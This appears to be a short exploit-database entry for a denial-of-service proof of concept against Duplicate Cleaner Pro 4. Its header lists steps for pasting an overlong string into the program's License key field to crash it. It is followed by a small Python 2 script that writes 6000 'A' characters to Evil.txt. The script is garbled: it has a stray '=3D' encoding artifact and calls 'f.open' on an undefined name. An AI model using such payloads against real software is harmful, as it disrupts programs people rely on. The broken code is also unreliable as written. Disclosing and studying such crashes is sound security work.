# Exploit Title: Duplicate Cleaner Pro 4 - Denial of Service (PoC)# Date: 2020-01-05# Vendor Homepage:https://www.digitalvolcano.co.uk/index.html# Software Link:https://www.digitalvolcano.co.uk/download/DuplicateCleanerPro4_setup.exe# Exploit Author: Achilles# Tested Version: 4.1.3# Tested on: Windows 7 x64# 1.- Run python code :# 2.- Open EVIL.txt and copy content to clipboard# 3.- Open Duplicate Cleaner Pro# 4.- Paste the content of EVIL.txt into the Field: 'License key'# 5.- Click 'Activate' and you will see a crash.#!/usr/bin/env python
buffer =3D "\x41"* 6000
try:
f.open("Evil.txt","w")
print "[+] Creating %s bytes evil payload.."%len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"